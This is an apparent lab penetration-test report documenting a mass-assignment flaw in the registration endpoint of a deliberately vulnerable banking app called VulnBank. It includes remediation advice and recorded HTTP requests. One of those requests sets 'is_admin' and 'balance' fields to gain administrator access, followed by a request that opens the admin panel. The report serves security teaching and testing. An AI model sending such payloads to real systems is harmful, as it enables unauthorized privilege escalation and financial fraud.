Back to the index

LAB FAIL

Mass Assignment - Registration - Privilege Fields

Mass Assignment — Registration — Privilege Fields

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes · OWASP A04:2021 - Insecure Design

Vulnerability

[FAIL] Mass Assignment - Registration - Privilege Fields

Description

The /register endpoint copies every key in the JSON request into the INSERT statement without a column allow-list. Sensitive fields such as is_admin and balance, which should be determined by the server, can be sent by the client and stored directly.

Impact

Integrity (Critical): anyone who can reach the registration page can create an administrator account for themselves and set the account balance at will. This bypasses all approval controls for administrator creation and creates fictitious balances in the banking system.

CWE

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

OWASP

A04:2021 - Insecure Design

Scenario

Normal: registering with only a username and password produces an ordinary account (is_admin false, default balance 1000). Exploitation: the same request plus is_admin true and balance 999999 -> the account is created directly as an administrator with an attacker-chosen balance. Impact: logging in to that account opens the admin panel.

Endpoint

POST http://127.0.0.1:5001/register

Affected feature

New user registration

Remediation

- Apply an allow-list of columns the client may set (username, password only); explicitly ignore every other field. - Set is_admin and balance server-side with default values, never from input. - Separate administrator creation into a dedicated flow that requires administrator authorization. - Remove the debug_data block that reflects raw input in the response.

Proof of concept

  1. (Screenshot 1) NORMAL: register ma_normal_user with only a username and password -> is_admin false, balance 1000.
  2. (Screenshot 2) EXPLOITATION: register ma_evil_admin with the addition of is_admin true and balance 999999 -> stored as an administrator with a balance of 999999.
  3. (Screenshot 3) CIA IMPACT: log in as ma_evil_admin and access /sup3r_s3cr3t_admin -> HTTP 200, the administrative panel opens.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

HTTP request
POST /register HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 55
Content-Type: application/json

{"username": "ma_normal_user", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 537
X-Debug-Info: {'user_id': 4, 'username': 'ma_normal_user', 'account_number': '7503483798', 'balance': 1000.0, 'is_admin': False, 'registration_time': '2026-09-30 02:58:20.805245', 'server_info': 'python-requests/2.33.1', 'raw_data': {'username': 'ma_normal_user', 'password': 'Normal123'}, 'fields_registered': ['username', 'password', 'account_number']}
X-User-Info: id=4;admin=False;balance=1000.00
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:20 GMT

{
  "debug_data": {
    "account_number": "7503483798",
    "balance": 1000.0,
    "fields_registered": [
      "username",
      "password",
      "account_number"
    ],
    "is_admin": false,
    "raw_data": {
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_normal_user"
    },
    "registration_time": "2026-09-30 02:58:20.805245",
    "server_info": "python-requests/2.33.1",
    "user_id": 4,
    "username": "ma_normal_user"
  },
  "message": "Registration successful! Proceed to login",
  "status": "success"
}
Screenshot
HTTP request
POST /register HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 89
Content-Type: application/json

{"username": "ma_evil_admin", "password": "[REDACTED-LAB-VALUE]", "is_admin": true, "balance": 999999}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 622
X-Debug-Info: {'user_id': 5, 'username': 'ma_evil_admin', 'account_number': '7658808238', 'balance': 999999.0, 'is_admin': True, 'registration_time': '2026-09-30 02:58:21.806878', 'server_info': 'python-requests/2.33.1', 'raw_data': {'username': 'ma_evil_admin', 'password': 'Evil123', 'is_admin': True, 'balance': 999999}, 'fields_registered': ['username', 'password', 'account_number', 'is_admin', 'balance']}
X-User-Info: id=5;admin=True;balance=999999.00
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:21 GMT

{
  "debug_data": {
    "account_number": "7658808238",
    "balance": 999999.0,
    "fields_registered": [
      "username",
      "password",
      "account_number",
      "is_admin",
      "balance"
    ],
    "is_admin": true,
    "raw_data": {
      "balance": 999999,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_evil_admin"
    },
    "registration_time": "2026-09-30 02:58:21.806878",
    "server_info": "python-requests/2.33.1",
    "user_id": 5,
    "username": "ma_evil_admin"
  },
  "message": "Registration successful! Proceed to login",
  "status": "success"
}
Screenshot
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 46565
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:22 GMT

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel - VulnBank</title>
    <link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
    <link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/admin.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
    <a href="#main-content" class="skip-link">Skip to main content</a>

    <div class="admin-layout">
        <!-- Sidebar -->
        <aside class="admin-sidebar">
            <div class="sidebar-header">
                <div class="sidebar-logo">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
                    </svg>
                    <span class="sidebar-logo-text">VulnBank</span>
                    <span class="sidebar-badge">Admin</span>
                </div>
            </div>

            <nav class="sidebar-nav">
                <a href="#overview" class="sidebar-nav-item active" data-section="overview">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="3" width="7" height="7"></rect>
                        <rect x="14" y="3" width="7" height="7"></rect>
                        <rect x="14" y="14" width="7" height="7"></rect>
                        <rect x="3" y="14" width="7" height="7"></rect>
                    </svg>
                    <span>Overview</span>
                </a>
                <a href="#users" class="sidebar-nav-item" data-section="users">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
                        <circle cx="9" cy="7" r="4"></circle>
                        <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
                        <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
                    </svg>
                    <span>Users</span>
                </a>
                <a href="#loans" class="sidebar-nav-item" data-section="loans">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
                        <path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
                    </svg>
                    <span>Loans</span>
                </a>
                <a href="#settings" class="sidebar-nav-item" data-section="settings">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="3"></circle>
                        <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
                    </svg>
                    <span>Settings</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <a href="/dashboard" class="sidebar-back-link">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <line x1="19" y1="12" x2="5" y2="12"></line>
                        <polyline points="12 19 5 12 12 5"></polyline>
                    </svg>
                    <span>Back to Dashboard</span>
                </a>
                <button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
                    <span class="toggle-icon toggle-icon-sun">☀️</span>
                    <span class="toggle-icon toggle-icon-moon">🌙</span>
                </button>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="admin-main" id="main-content">
            <!-- Top Bar -->
            <header class="admin-topbar">
                <h1 class="admin-page-title">Overview</h1>
                <div class="admin-profile-mini">
                    <span class="admin-name">System Administrator</span>
                    <img src="/static/uploads/admin.png" alt="Admin">
                </div>
            </header>

            <!-- Messages -->
            <div id="message" aria-live="polite"></div>

            <!-- Overview Section -->
            <section class="admin-section" id="overview-section">
                <div class="section-header">
                    <h2>Transaction Analytics</h2>
                    <p class="section-subt

[... 40554 more bytes not shown ...]
Screenshot

← Previous case: JWT Signature Not Verified - Authentication - Token Validation Next case: Path Traversal - Profile Picture - Upload Filename →